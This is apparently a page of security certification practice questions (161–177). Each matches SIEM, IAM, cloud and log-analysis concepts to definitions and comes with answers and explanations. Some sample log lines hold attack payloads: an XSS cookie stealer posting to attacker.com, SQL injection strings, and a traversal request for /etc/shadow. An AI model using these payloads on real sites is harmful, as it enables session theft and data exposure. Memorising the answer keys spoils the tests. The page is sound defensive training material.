All practice questions

378 questions

Question 161Question

A security analyst is configuring a new Security Information and Event Management (SIEM) system. Match each SIEM log processing function on the left to its correct operation on the right.

Click a left item, then click its matching right item

Items

Log Parsing
Log Normalization
Event Correlation
Log Aggregation

Matches

Show answer & explanation

Answer

Log Parsing matches with extracting structured key-value pairs from raw log text. Log Normalization matches with mapping disparate log attributes into a standardized schema. Event Correlation matches with analyzing relationships across disparate log sources to detect threat patterns. Log Aggregation matches with consolidating redundant log entries to reduce storage overhead.
Each SIEM pipeline stage addresses a specific data processing requirement: Parsing converts raw unformatted text into structured fields; Normalization aligns varying field formats into a common vendor-agnostic taxonomy; Correlation connects events across different systems to identify multi-stage attacks; and Aggregation deduplicates identical events to reduce storage footprint.

Step-by-Step Solution

1
Identify the primary purpose of log parsing.
Parsing breaks raw unstructured text log entries into identifiable, structured attributes.
SIEM systems must parse raw logs before fields can be searched or processed.
2
Identify the primary purpose of log normalization.
Normalization enforces a consistent naming standard across diverse log sources.
Different vendors use different log column names, requiring schema standardization.
3
Identify the primary purpose of event correlation.
Correlation cross-references logs from multiple devices to uncover security incidents.
Complex attacks span multiple systems and require rules to connect separate events.
4
Identify the primary purpose of log aggregation.
Aggregation combines duplicate log records to optimize data storage and ingest performance.
High-volume repetitive logs generate unnecessary overhead if not merged.

Key Concept

SIEM Log Ingestion and Processing Pipeline Stages
Question 162Question

A security operations center (SOC) analyst is configuring correlation rules in an enterprise SIEM platform. Match each log entry signature snippet to the specific security attack vector or suspicious activity indicator it demonstrates.

Click a left item, then click its matching right item

Items

192.168.1.45 - - [27/Jul/2026:11:14:02 +0000] "GET /products.php?id=101%20UNION%20SELECT%20username,password_hash%20FROM%20users-- HTTP/1.1" 200 4521
EventID: 4625, TargetUserName: admin, WorkstationName: WORKSTATION01, FailureReason: Unknown user name or bad password (Repeated 450 times in 60 seconds)
10.0.4.12 - - [27/Jul/2026:11:15:33 +0000] "POST /comment.php HTTP/1.1" 200 1240 "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
EventID: 4769, ServiceName: krbtgt, TicketOptions: 0x40810000, TicketEncryptionType: 0x17 (RC4-HMAC), TargetUserName: [email protected]

Matches

Show answer & explanation

Answer

Matching pairs: (1) SQL Injection UNION SELECT payload matches SQL Injection exfiltration attempt; (2) Event ID 4625 rapid failures match Automated password brute-force attack; (3) HTTP POST script cookie stealer matches Cross-Site Scripting (XSS) payload; (4) Event ID 4769 with RC4 ticket encryption for service account matches Kerberoasting attack.
Each log pattern exhibits a unique signature key: SQL syntax elements signal SQL Injection, high-frequency logon failure events (Event 4625) indicate brute-force attempts, HTML script tags attempting cookie access indicate XSS, and Kerberos TGS requests (Event 4769) requesting RC4 encryption for service accounts indicate Kerberoasting.

Step-by-Step Solution

1
Analyze web log queries for database syntax.
Identify 'UNION SELECT username,password_hash FROM users' as SQL Injection.
SQL syntax in URL parameters indicates SQLi targeting backend database retrieval.
2
Analyze Windows Event ID 4625 patterns.
Identify high frequency (450 attempts/minute) of failed logons as online brute-forcing.
Event ID 4625 captures failed authentication events.
3
Inspect web log POST payloads for script tags.
Identify `<script>...document.cookie...</script>` as Cross-Site Scripting (XSS).
Executable JavaScript injected via web form inputs targeting session tokens represents XSS.
4
Evaluate Active Directory Kerberos ticket requests (Event ID 4769).
Identify RC4-HMAC (0x17) ticket requests for service accounts as Kerberoasting.
Kerberoasting forces legacy RC4 ticket issuance for service accounts to execute offline hash cracking.

Key Concept

Log Analysis and SIEM Correlation Signatures
Question 163Question

An enterprise security architect is categorizing modern enterprise workloads according to cloud service models and deployment architectures. Match each system requirement on the left with its corresponding cloud model on the right.

Click a left item, then click its matching right item

Items

Deploying a third-party customer relationship management portal where the vendor handles all infrastructure maintenance, operating system patching, and software updates.
Developing a microservices web API using managed runtime engines and databases, where internal developers manage application code while the provider handles OS maintenance.
Migrating legacy database workloads to cloud virtual machines where the internal team manages guest OS hardening, middleware configuration, and firewall rules.
Hosting a shared threat intelligence dataset restricted exclusively to member financial regulatory agencies with identical compliance requirements.

Matches

Show answer & explanation

Answer

The correct pairings are: 1) Vendor-managed software portal matches Software as a Service (SaaS). 2) Custom code on managed runtime engines matches Platform as a Service (PaaS). 3) Virtual machine migration with customer OS patching matches Infrastructure as a Service (IaaS). 4) Shared dataset restricted to industry peer agencies matches Community Cloud.
The correct pairings align with the cloud shared responsibility framework: fully outsourced software application delivery corresponds to SaaS, developer control over code on managed runtimes corresponds to PaaS, customer management of virtual machine operating systems and network settings corresponds to IaaS, and shared infrastructure among specific peer entities corresponds to Community Cloud.

Step-by-Step Solution

1
Analyze the operational responsibilities associated with each system requirement.
Differentiate between infrastructure control, application runtime control, software consumption, and tenant access scope.
Cloud service models define the division of maintenance responsibilities between provider and customer, whereas cloud deployment models specify resource sharing boundaries.
2
Pair complete vendor application administration with SaaS.
The requirement describing complete vendor software and infrastructure delivery maps to Software as a Service.
Under SaaS, users consume completed application features without managing lower-level technical components.
3
Pair custom application code running on abstracted environments with PaaS.
The requirement for managing code without maintaining the guest operating system maps to Platform as a Service.
PaaS isolates developers from system software administration while providing tools to deploy custom code.
4
Pair virtual machine guest OS hardening and firewall administration with IaaS.
The scenario where the internal team controls guest operating systems and middleware maps to Infrastructure as a Service.
IaaS provides raw virtualized compute and storage capabilities, placing all operating system and software stack responsibilities on the client.
5
Pair multi-tenant infrastructure restricted to specific peer organizations with Community Cloud.
The shared dataset limited to member regulatory agencies maps to Community Cloud.
Community clouds cater to closed groups with shared missions, regulatory constraints, and security standards.

Key Concept

Cloud Service and Deployment Model Categorization
Estimated Time:1m 30s
Question 164Question

An enterprise security architect is evaluating advanced identity and access management (IAM) architectural components to enforce Zero Trust principles and streamline operations across a hybrid enterprise environment. Match each IAM architectural pattern to the specific security or operational requirement it is designed to address.

Click a left item, then click its matching right item

Items

Continuous Access Evaluation Profile (CAEP) / Shared Signals Framework
System for Cross-domain Identity Management (SCIM)
Privileged Access Management (PAM) with Just-In-Time (JIT) Access
OAuth 2.0 Mutual-TLS (mTLS) Client Authentication and Certificate-Bound Access Tokens

Matches

Show answer & explanation

Answer

Continuous Access Evaluation Profile (CAEP) matches real-time session revocation across federated relying parties. System for Cross-domain Identity Management (SCIM) matches automated account lifecycle provisioning across SaaS applications. Privileged Access Management (PAM) with Just-In-Time (JIT) access matches eliminating standing administrative privileges via ephemeral credentials. OAuth 2.0 mTLS client authentication and certificate-bound access tokens matches mitigating token replay attacks by cryptographically binding access tokens to transport connections.
Each IAM architecture pattern is aligned to its primary security function: CAEP provides event-driven continuous session re-evaluation; SCIM standardizes automated cross-domain identity lifecycle management; PAM with JIT provisions ephemeral privileges to eliminate standing access; and OAuth 2.0 mTLS cryptographically binds access tokens to client transport connections to prevent replay attacks.

Step-by-Step Solution

1
Analyze the requirement for mid-session revocation upon security triggers.
Identify CAEP / Shared Signals Framework, which continuously passes telemetry between IdPs and RPs to terminate sessions dynamically.
Standard SAML/OIDC access tokens are stateless and valid until expiration; CAEP addresses this limitation by broadcasting security events out-of-band.
2
Analyze the requirement for automated provisioning/deprovisioning across SaaS apps.
Identify SCIM as the standard protocol for schema-based user identity lifecycle management.
SCIM standardizes RESTful APIs for managing users and groups across different identity domains.
3
Analyze the requirement to eliminate standing administrative privileges.
Identify PAM with JIT Access, which provisions ephemeral credentials only when required for approved operations.
Standing access increases attack surface; JIT access enforces temporary privilege granting.
4
Analyze the requirement to protect API communication against token replay attacks.
Identify OAuth 2.0 mTLS / Certificate-Bound Tokens, which associate the access token with the client's TLS client certificate.
Sender-constrained tokens prevent attackers who capture a bearer token from using it on a different TLS connection.

Key Concept

Advanced Enterprise IAM Architecture and Protocols
Question 165Question

Match each Identity and Access Management (IAM) protocol or standard to its primary architectural function in an enterprise environment.

Click a left item, then click its matching right item

Items

SAML 2.0
OAuth 2.0
SCIM
Kerberos

Matches

Show answer & explanation

Answer

SAML 2.0 matches XML-based web SSO federation; OAuth 2.0 matches token-based API authorization delegation; SCIM matches automated identity provisioning and account lifecycle management; Kerberos matches ticket-based internal domain authentication via a KDC.
Each IAM protocol serves a distinct architectural layer: SAML 2.0 manages XML web SSO federation; OAuth 2.0 provides token-based API authorization; SCIM automates identity profile provisioning across cloud apps; and Kerberos performs ticket-based domain authentication.

Step-by-Step Solution

1
Identify the primary purpose of SAML 2.0.
SAML 2.0 handles federated web Single Sign-On (SSO) using XML assertions between an IdP and SP.
SAML is an enterprise federation standard for web application authentication.
2
Identify the primary purpose of OAuth 2.0.
OAuth 2.0 delegates API access permissions using authorization access tokens.
OAuth 2.0 focuses on authorization and token delegation rather than authentication.
3
Identify the primary purpose of SCIM.
SCIM standardizes REST/JSON user profile creation, updating, and deprovisioning.
SCIM automates cross-system user identity sync across cloud services.
4
Identify the primary purpose of Kerberos.
Kerberos handles ticket-based domain authentication using a Key Distribution Center (KDC).
Kerberos is the default protocol for local directory infrastructure like Active Directory.

Key Concept

Identity and Access Management Architecture Protocols
Question 166Question

A SOC analyst is reviewing diverse log artifacts collected across enterprise infrastructure. Match each security log artifact signature to the corresponding incident activity or event type it indicates.

Click a left item, then click its matching right item

Items

Windows Security Event ID 4625 with Status Code 0xC000006A
HTTP 403 GET request containing `?file=../../../../etc/shadow`
NetFlow record showing high-frequency 53/UDP outbound flows with unusually large payload sizes
Linux auth.log entry: `pam_unix(sudo:auth): authentication failure; logname=jdoe uid=1001 euid=0`

Matches

Show answer & explanation

Answer

Matching pairs: (1) Windows Event ID 4625 with Status Code 0xC000006A corresponds to a failed user logon attempt due to an incorrect password. (2) HTTP GET request with path traversal characters corresponds to a directory traversal attack attempt. (3) NetFlow record with high-frequency, large UDP 53 payloads corresponds to potential DNS tunneling exfiltration. (4) Linux pam_unix sudo auth failure corresponds to an unauthorized privilege escalation attempt.
Each log snippet exhibits unique protocol and system signatures: Event ID 4625 with status 0xC000006A explicitly flags bad password logons; relative path sequences indicate directory traversal; abnormally large UDP 53 packets reflect DNS covert tunneling; and PAM sudo failure messages record elevated privilege execution blocks.

Step-by-Step Solution

1
Analyze Windows Event ID 4625 and its status code
Identify that Event ID 4625 records failed logons, with 0xC000006A denoting bad password entry.
Correlating event codes with specific Windows sub-status codes allows precise identification of authentication failure causes.
2
Inspect the web server access log string syntax
Recognize path manipulation patterns (`../`) pointing to sensitive system paths (`/etc/shadow`).
Dot-dot-slash characters are characteristic signature elements of directory/path traversal vulnerabilities.
3
Evaluate NetFlow protocol indicators
Associate large outbound UDP port 53 payloads with covert channel exfiltration.
DNS relies on UDP port 53 and normally transmits minor metadata; anomaly detection identifies large payload bursts as tunneling.
4
Examine Linux authentication daemon log entries
Connect `pam_unix(sudo:auth)` failure logs to elevated privileges execution attempts.
The `sudo` command allows standard users to run tasks with effective UID 0 (root), making failed sudo attempts indicators of unauthorized privilege escalation.

Key Concept

Log Analysis and Event Correlation
Question 167Question

Match each enterprise security vulnerability finding on the left with the most effective technical hardening mitigation on the right.

Click a left item, then click its matching right item

Items

An unsegmented internal network allows lateral movement between administrative endpoints using legacy remote access protocols.
Web application servers permit execution of untrusted user-uploaded payloads stored in temporary filesystem locations.
High-privilege domain administrator credentials are exposed to LSASS memory harvesting attacks on compromised remote target endpoints.

Matches

Show answer & explanation

Answer

1. Unsegmented network lateral movement matches with enforcing network microsegmentation and ZTNA policies. 2. Untrusted payload execution in temporary directories matches with mounting temporary storage partitions with `noexec` and `nosuid` parameters. 3. Credential exposure in LSASS memory matches with implementing Remote Credential Guard and Restricted Admin mode.
The security findings correctly map to their specific technical mitigations: internal lateral movement requires microsegmentation and ZTNA; temporary storage execution threats require `noexec` mount options; and remote LSASS memory credential dumping requires Remote Credential Guard.

Step-by-Step Solution

1
Evaluate network isolation requirements for internal traffic.
Network microsegmentation and Zero Trust access policies restrict unauthorized host-to-host communications across internal subnets.
Perimeter defenses do not prevent lateral movement once an attacker gains initial access inside an enterprise network.
2
Determine host storage hardening techniques for temporary filesystems.
Mounting directories such as `/tmp` with `noexec` prevents the execution of binaries and scripts stored in scratch space.
Hardening storage mount points reduces the attack surface by enforcing strict execution boundaries on untrusted directories.
3
Select memory protection controls for privileged remote administration.
Remote Credential Guard and Restricted Admin mode prevent domain credentials from being stored in LSASS memory on remote hosts.
Processing authentication client-side ensures high-privilege credentials cannot be dumped by LSASS scraping malware on the destination system.

Key Concept

Enterprise Hardening and Technical Security Controls
Question 168Question

Match each storage security technology on the left with its primary enterprise implementation role on the right.

Click a left item, then click its matching right item

Items

Self-Encrypting Drive (SED)
Hardware Security Module (HSM)
Storage Area Network (SAN) LUN Masking
Endpoint Data Loss Prevention (DLP)

Matches

Show answer & explanation

Answer

Self-Encrypting Drive pairs with transparent hardware-based disk encryption at the drive controller level. Hardware Security Module pairs with tamper-resistant hardware storage for securing key lifecycles. SAN LUN Masking pairs with restricting host access to specific logical volumes based on HBA identifiers. Endpoint DLP pairs with inspecting data write operations to prevent unencrypted sensitive data transfers to removable media.
Each technology fulfills a distinct role within enterprise storage architecture: SEDs provide transparent drive controller-level hardware encryption; HSMs secure key storage in hardened modules; SAN LUN masking restricts volume access by host identifier; and endpoint DLP enforces data content protection policies on endpoint write actions.

Step-by-Step Solution

1
Analyze storage encryption controls
Identify that Self-Encrypting Drives execute transparent encryption at the drive controller level, avoiding host CPU performance hits.
SEDs rely on dedicated hardware inside the drive casing rather than host OS crypto modules.
2
Evaluate key management architecture
Match Hardware Security Module to centralized, tamper-evident master key storage.
HSMs protect master keys and perform cryptoprocessing in secure physical boundaries.
3
Analyze block storage isolation mechanisms
Associate LUN Masking with restricting access to specific SAN storage volumes by checking host bus adapter WWNs/identifiers.
LUN masking acts as access control on storage arrays to prevent unauthorized servers from mounting raw storage volumes.
4
Analyze data exfiltration prevention tools
Link Endpoint Data Loss Prevention to real-time content inspection blocking writes to external storage devices.
DLP evaluates file content against classification rules before allowing write operations to endpoint peripherals.

Key Concept

Data Protection and Storage Security Architecture
Question 169Question

A security analyst is evaluating packet captures and log entries following a network intrusion alert. Match each observed technical indicator to its corresponding network or wireless attack classification.

Click a left item, then click its matching right item

Items

Radio frequency frames captured with rapidly repeating 24-bit Initialization Vector (IV) values across a WEP-encrypted network segment.
Unsolicited IPv6 Router Advertisement (RA) messages broadcasting fraudulent prefix information to reconfigure client default gateways.
Inbound DNS response packets carrying forged IP addresses arriving before legitimate authoritative replies with matching transaction IDs.
Layer 2 Ethernet frames encapsulating two distinct 802.1Q tags to traverse unauthorized switch Virtual Local Area Networks.

Matches

Show answer & explanation

Answer

Repeating 24-bit IV values correspond to IV Attack; unsolicited IPv6 Router Advertisements correspond to Rogue RA Attack; forged DNS response packets arriving early correspond to DNS Poisoning; Ethernet frames with double 802.1Q headers correspond to VLAN Hopping.
The technical indicators specifically map to their corresponding attack mechanisms: repeating 24-bit IVs indicate an IV attack against WEP; unauthenticated IPv6 ICMPv6 router messages represent a Rogue RA attack; premature forged DNS replies represent DNS poisoning; and double 802.1Q header encapsulation represents VLAN hopping.

Step-by-Step Solution

1
Analyze the wireless packet capture indicator showing repeating initialization vectors.
Identify that reused 24-bit IVs under WEP encryption facilitate key mathematical derivation.
WEP uses small 24-bit IVs; frequent reuse enables keystream recovery in an IV attack.
2
Examine the network layer broadcast log showing unsolicited IPv6 Router Advertisements.
Determine that unauthorized RA broadcasts alter host routing paths.
Rogue RA attacks exploit IPv6 stateless address autoconfiguration (SLAAC) to redirect traffic.
3
Evaluate the application layer network log showing early DNS responses.
Recognize that forged DNS answers supplied ahead of valid authoritative resolvers corrupt cache records.
Race conditions in DNS resolution allow attackers to poison resolver caches with malicious IP mappings.
4
Inspect the data link layer encapsulation log showing multiple VLAN tags.
Identify that double 802.1Q tagging allows traffic to cross VLAN boundaries bypassing switch isolation.
Switches processing double-tagged frames strip the first tag and forward the frame onto the inner VLAN tag.

Key Concept

Network and Wireless Attack Indicators
Question 170Question

A security architect is establishing high availability and resilience specifications for a mission-critical infrastructure deployment. Match each resiliency requirement or architectural challenge on the left with its corresponding technical mechanism or metric on the right.

Click a left item, then click its matching right item

Items

Eliminating single points of failure across web servers while seamlessly preserving active user sessions during node outages
Defining the maximum tolerable duration of data loss measured in time prior to an unplanned service disruption
Preventing data corruption caused by concurrent writes when heartbeat communication fails between cluster nodes
Providing storage-level disk redundancy allowing continuous operations despite a single drive failure

Matches

Show answer & explanation

Answer

The correct pairings are: 1. Preserving active user sessions across web server outages matches with Stateful Load Balancing with VIP failover; 2. Maximum tolerable duration of data loss matches with Recovery Point Objective (RPO); 3. Preventing data corruption during heartbeat failure matches with Node Fencing / STONITH; 4. Disk redundancy for continuous operation matches with RAID 5 / RAID 1 array configuration.
Each requirement directly aligns with its corresponding architectural control: RPO defines acceptable data loss interval; stateful load balancing preserves persistent connections across redundant nodes; STONITH node fencing prevents split-brain corruption in active-active/active-passive clusters; and RAID provides local disk fault tolerance.

Step-by-Step Solution

1
Analyze session-handling and network redundancy requirements.
Matched session preservation during server outage to Stateful Load Balancing with VIP failover.
Stateful load balancers track session state tables across cluster nodes, ensuring users remain logged in when traffic shifts.
2
Evaluate availability metrics for data recovery.
Matched data loss time threshold to Recovery Point Objective (RPO).
RPO measures acceptable data loss currency in units of time, whereas RTO measures acceptable duration of service disruption.
3
Analyze high-availability clustering split-brain safeguards.
Matched split-brain data corruption prevention to Node Fencing / STONITH.
When heartbeat lines fail, automated fencing mechanisms disable the disconnected node to guarantee exclusive write lock on shared storage.
4
Identify hardware-level redundancy controls.
Matched single-drive failure protection to RAID configurations.
RAID 1 (mirroring) and RAID 5 (striping with parity) provide hardware fault tolerance for storage volumes.

Key Concept

Resilience, High Availability, and Redundancy Mechanisms
Question 171Question

An enterprise security architect is evaluating modern Identity and Access Management (IAM) controls to enforce Zero Trust principles and streamline federated access across a multi-cloud enterprise. Match each identity architecture protocol or mechanism on the left to its corresponding architectural implementation on the right.

Click a left item, then click its matching right item

Items

Continuous Access Evaluation Protocol (CAEP)
System for Cross-domain Identity Management (SCIM)
Privileged Access Management (PAM) with Ephemeral Credentials
OAuth 2.0 Demonstration of Proof-of-Possession (DPoP)

Matches

Show answer & explanation

Answer

Continuous Access Evaluation Protocol (CAEP) matches real-time session state and posture event sharing; System for Cross-domain Identity Management (SCIM) matches automated identity lifecycle provisioning across SaaS applications; Privileged Access Management (PAM) with Ephemeral Credentials matches eliminating static administrative credentials via short-lived access rights; and OAuth 2.0 Demonstration of Proof-of-Possession (DPoP) matches cryptographically binding tokens to client key pairs to prevent replay attacks.
Continuous Access Evaluation Protocol (CAEP) allows identity providers and relying parties to exchange real-time security events such as session revocation or risk score changes. System for Cross-domain Identity Management (SCIM) standardizes user provisioning workflows to automate account lifecycle events between identity stores and SaaS applications. Privileged Access Management (PAM) with ephemeral credentials reduces attack surfaces by dynamically issuing short-lived administrative credentials on demand rather than maintaining standing privileges. OAuth 2.0 Demonstration of Proof-of-Possession (DPoP) secures API access by binding OAuth tokens to a client's private key, preventing intercepted bearer tokens from being replayed.

Step-by-Step Solution

1
Analyze the functional scope of each identity architecture protocol and component listed on the left.
CAEP provides real-time event-driven access evaluation; SCIM handles automated user account lifecycle management; PAM with ephemeral credentials handles short-lived privileged access; DPoP enforces token sender-constraining.
Determining the primary architectural boundary addressed by each standard is required to pair them correctly.
2
Correlate each architectural component to its matching enterprise use case on the right.
CAEP correlates to real-time posture event sharing for immediate session revocation; SCIM correlates to identity provisioning across cloud SaaS platforms; PAM ephemeral credentials correlate to eliminating standing credentials with just-in-time access; DPoP correlates to binding tokens to client private keys to stop token replay.
Each mechanism addresses a specific aspect of modern IAM architecture, including session security, identity lifecycle, privilege management, and API token security.

Key Concept

Enterprise IAM Architecture Protocols and Control Frameworks
Question 172Question

Match each threat intelligence concept on the left with its primary operational role within an enterprise security framework on the right.

Click a left item, then click its matching right item

Items

STIX / TAXII Protocols
Information Sharing and Analysis Center (ISAC)
Open-Source Intelligence (OSINT)
Commercial Threat Intelligence Feed

Matches

Show answer & explanation

Answer

STIX / TAXII Protocols pairs with standardized machine-readable format and transport mechanism; ISAC pairs with sector-specific trust community for peer sharing; OSINT pairs with publicly accessible information gathered from open web resources; Commercial Threat Intelligence Feed pairs with subscription-based curated intelligence service.
Each concept correctly maps to its functional definition in security operations: STIX/TAXII provides standardized machine-readable data formatting and transport; ISAC serves as a peer-to-peer industry trust community; OSINT refers to publicly available intelligence gathered from open sources; and Commercial Threat Intelligence Feeds deliver curated, proprietary subscription-based threat data.

Step-by-Step Solution

1
Identify the primary mechanism used for automated technical threat exchange.
STIX/TAXII protocols provide the structured schema and HTTPS-based transport needed to feed machine-readable IOCs directly into SIEM or SOAR platforms.
Automated ingestion requires standardized schemas (STIX) and defined transport mechanisms (TAXII).
2
Determine the resource designed for industry-wide collaborative threat sharing.
An ISAC connects peer entities operating within the same sector to share industry-relevant attack trends and early warnings.
ISACs are specifically structured around vertical industry sectors to address common threat vectors.
3
Distinguish between freely accessible public intelligence and closed subscription sources.
OSINT uses freely available web data, whereas Commercial Feeds rely on paid vendor subscriptions for high-fidelity, processed intelligence.
OSINT is open to all without licensing, whereas Commercial Feeds are proprietary closed-source services.

Key Concept

Threat Intelligence Sources and Information Sharing Protocols
Question 173Question

A security engineer is establishing defense-in-depth security controls for an enterprise cloud platform hosting both application containers and virtual machines. Match each security control mechanism to its primary protective function.

Click a left item, then click its matching right item

Items

Rootless Container Execution
Microsegmentation
Hypervisor Hardening
Secrets Management Daemon

Matches

Show answer & explanation

Answer

Rootless Container Execution pairs with preventing host root compromise by running under unprivileged accounts; Microsegmentation pairs with restricting internal east-west traffic between microservices; Hypervisor Hardening pairs with mitigating VM escape risks by minimizing hypervisor attack surface; Secrets Management Daemon pairs with dynamically injecting sensitive runtime credentials into memory.
Rootless container execution restricts the container engine daemon to an unprivileged user ID, limiting damage if the container sandbox fails. Microsegmentation enforces policy-driven network boundaries between microservices to prevent unauthorized lateral movement inside the cluster. Hypervisor hardening reduces the attack surface of the virtualization layer to block guest-to-host VM escape exploits. Secrets management daemons dynamically deliver runtime tokens and API keys, ensuring sensitive credentials are never baked into container images.

Step-by-Step Solution

1
Analyze host account privileges for container runtimes
Identified Rootless Container Execution as the control preventing root-level host access during a runtime breach.
If a container runs as non-root on the host OS, a process escape inherits only restricted user rights on the host.
2
Evaluate internal network traffic controls across virtualized workloads
Matched Microsegmentation to granular east-west traffic restrictions between container instances.
Microsegmentation applies policy-based network separation directly to workload interfaces independent of physical VLAN boundaries.
3
Examine hypervisor security boundaries separating guest VMs from host resources
Associated Hypervisor Hardening with mitigation of VM escape vulnerabilities.
Removing unneeded virtual devices and patching the hypervisor prevents guests from interacting directly with underlying hardware or hypervisor host memory.
4
Assess secret storage and injection practices for containerized applications
Paired Secrets Management Daemon with dynamic runtime credential injection.
Storing credentials inside container image layers creates persistent exposure; external secret management ensures ephemeral dynamic delivery.

Key Concept

Virtualization and Containerization Security Mechanisms
Question 174Question

An enterprise aerospace contractor is modernizing its IT infrastructure across diverse cloud environments. Match each enterprise workload scenario on the left with the corresponding cloud service or deployment model on the right that best represents its architecture.

Click a left item, then click its matching right item

Items

Custom telemetry processing engine requiring direct operating system kernel configuration and virtual machine root administrative control.
Customer service ticketing application maintained completely by an external vendor, where internal IT only manages user access and support workflows.
Event-driven backend component that executes lightweight data transformation code triggered by file uploads without persistent server instances.
Shared threat intelligence platform co-owned and accessed exclusively by member defense organizations operating under identical regulatory frameworks.

Matches

Show answer & explanation

Answer

The correct pairings match each workload requirement to its underlying operational model: virtual machine and OS administrative control maps to Infrastructure as a Service (IaaS); complete vendor application management maps to Software as a Service (SaaS); event-triggered serverless code execution maps to Function as a Service (FaaS); and infrastructure shared exclusively among organizations with common mission objectives maps to Community Cloud.
Each workload scenario correctly aligns with the scope of responsibility and deployment boundaries defined by the respective cloud models: IaaS grants OS-level control; SaaS abstracts application infrastructure; FaaS provides event-driven serverless execution; and Community Cloud serves a closed group of organizations with shared security requirements.

Step-by-Step Solution

1
Analyze the workload requiring OS kernel tuning and root administrative control over virtual machines.
Identify that managing the OS layer while relying on the provider for virtualization and physical hardware defines Infrastructure as a Service (IaaS).
IaaS provides raw compute infrastructure where the consumer maintains control over operating systems, storage, and deployed applications.
2
Evaluate the customer support application managed end-to-end by an external vendor.
Identify that consuming a fully hosted application while managing only application-level user access defines Software as a Service (SaaS).
SaaS abstracts all infrastructure, operating system, and application maintenance from the consumer.
3
Assess the short-lived event-driven data transformation execution.
Identify that running microservice logic on demand without provisioning infrastructure defines Function as a Service (FaaS) / Serverless.
FaaS executes ephemeral code units on demand, shifting server provisioning and scaling responsibility entirely to the cloud provider.
4
Examine the shared threat feed infrastructure restricted to specific vetted defense partner organizations.
Identify that a multi-tenant environment limited to distinct member organizations with shared regulatory needs defines a Community Cloud.
Community Cloud deployment models pool infrastructure specifically to support a specific community that shares common requirements or compliance mandates.

Key Concept

Cloud Service and Deployment Model Taxonomy
Question 175Question

A security analyst is examining raw log snippets collected by a SIEM system from various network resources. Match each log entry pattern on the left to the corresponding security event or attack type on the right.

Click a left item, then click its matching right item

Items

192.168.1.105 - - [27/Jul/2026:14:22:10 +0000] "GET /login.php?user=admin' OR '1'='1" 200 452
Jul 27 14:23:01 authserver sshd[4921]: Failed password for root from 10.0.0.45 port 52112 ssh2 (repeated 500 times in 1 minute)
192.168.1.50 - - [27/Jul/2026:14:25:30 +0000] "GET /profile.php?name=<script>alert('cookie')</script>" 200 1200
Jul 27 14:26:05 firewall filterlog: drop in on em0 proto TCP from 192.168.1.200 to 10.0.0.15 across destination ports 1 through 1024

Matches

Show answer & explanation

Answer

The HTTP GET request with SQL syntax matches SQL Injection; the repeated SSH authentication failures match SSH Brute Force; the script tag payload matches Cross-Site Scripting; and the sequential port connections match Port Scan / Reconnaissance.
Each log snippet exhibits explicit operational indicators: SQL control characters indicate SQL Injection, high-frequency authentication failures indicate SSH Brute Force, client-side script tags indicate XSS, and sequential port sweep drops indicate a network Port Scan.

Step-by-Step Solution

1
Analyze web server request parameters in the first log entry
Identified the payload ' OR '1'='1 which manipulates database query logic.
This is a classic signature of SQL Injection.
2
Evaluate authentication log rates in the second entry
Identified 500 failed root login attempts via SSH within 60 seconds.
Rapid repetitive authentication failures indicate password brute forcing.
3
Inspect input strings in the third log entry
Found inline client-side code execution tags (<script>).
Injecting client-side script elements into URL parameters is indicative of XSS.
4
Review firewall drop event patterns in the fourth entry
Observed connections dropped across a broad range of consecutive ports (1-1024).
Probing multiple sequential ports identifies host service reconnaissance.

Key Concept

Log Pattern Analysis and Threat Identification
Estimated Time:1m 0s
Question 176Question

A Security Operations Center (SOC) analyst is standardizing correlation rules in an enterprise Security Information and Event Management (SIEM) system. Match each log entry pattern on the left to its corresponding security event or attack vector on the right.

Click a left item, then click its matching right item

Items

CEF:0|Security|SIEM|1.0|4625|Account Logon Failed|5|src=192.168.1.50 dst=10.0.0.5 suser=admin targetUser=admin count=450
192.168.1.88 - - [27/Jul/2026:11:04:15 +0000] "GET /search.php?q=1%27%20UNION%20SELECT%20null,table_name%20FROM%20information_schema.tables-- HTTP/1.1" 200 5120
{"eventTime":"2026-07-27T10:15:30Z","eventSource":"iam.amazonaws.com","eventName":"PutUserPolicy","errorCode":"AccessDenied","user":"app_user"}
type=SYSCALL arch=c000003e syscall=59 success=yes exe="/bin/bash" euid=0 egid=0 auid=1002 key="root_shell"

Matches

Show answer & explanation

Answer

Matching pairs: The Common Event Format (CEF) failed logon log corresponds to the Automated brute-force authentication event; the web access log containing UNION SELECT corresponds to the In-band SQL injection attack; the AWS CloudTrail log with AccessDenied corresponds to the Cloud IAM authorization policy failure; and the Linux auditd syscall log spawning root bash corresponds to the Local privilege escalation execution.
Each log archetype displays distinct header and payload indicators: Windows CEF Event ID 4625 with high event counts reflects brute-force authentication activity; UNION SELECT web requests signify SQL injection attempts; CloudTrail AccessDenied events on policy operations reflect authorization rule enforcement; and Linux syscall 59 launching bash with euid=0 from unprivileged auid=1002 demonstrates local privilege escalation.

Step-by-Step Solution

1
Analyze Windows Event ID 4625 and CEF aggregate fields in the first log entry.
Identify Event ID 4625 as a failed logon attempt and count=450 as rapid repeated failures indicative of automated credential brute-forcing.
High-frequency failed logon events targeting authentication endpoints reflect brute-force authentication attempts.
2
Inspect URI query parameters in the second log entry.
Recognize URL-encoded SQL keywords ('UNION SELECT', 'information_schema.tables') used to query database structures.
Injecting database commands into web input parameters is the core indicator of in-band SQL injection.
3
Examine AWS CloudTrail JSON fields in the third log entry.
Evaluate 'eventName: PutUserPolicy' paired with 'errorCode: AccessDenied' as an unauthorized permission modification attempt.
'AccessDenied' during an API authorization check demonstrates role permission enforcement stopping unauthorized policy attachments.
4
Analyze Linux auditd syscall log fields in the fourth log entry.
Correlate syscall 59 (execve) spawning binary '/bin/bash' with effective UID 0 (root) from unprivileged audit identity AUID 1002.
Transitioning execution context from an unprivileged user (auid=1002) to effective root privileges (euid=0) represents local privilege escalation.

Key Concept

Log Analysis and SIEM Correlation
Estimated Time:2m 0s
Question 177Question

Match each Identity and Access Management (IAM) protocol to its primary architectural function in enterprise security environments.

Click a left item, then click its matching right item

Items

OAuth 2.0
OpenID Connect (OIDC)
SAML 2.0
RADIUS

Matches

Show answer & explanation

Answer

OAuth 2.0 pairs with delegated API authorization; OIDC pairs with identity authentication using JWTs over OAuth 2.0; SAML 2.0 pairs with XML-based web browser federation and SSO; RADIUS pairs with centralized AAA network access management.
Each IAM protocol serves a distinct architectural purpose: OAuth 2.0 provides delegated API authorization, OIDC adds RESTful authentication using JWTs on top of OAuth 2.0, SAML 2.0 facilitates XML-based enterprise web SSO federation, and RADIUS delivers centralized AAA for network infrastructure connection request management.

Step-by-Step Solution

1
Identify the primary role of OAuth 2.0.
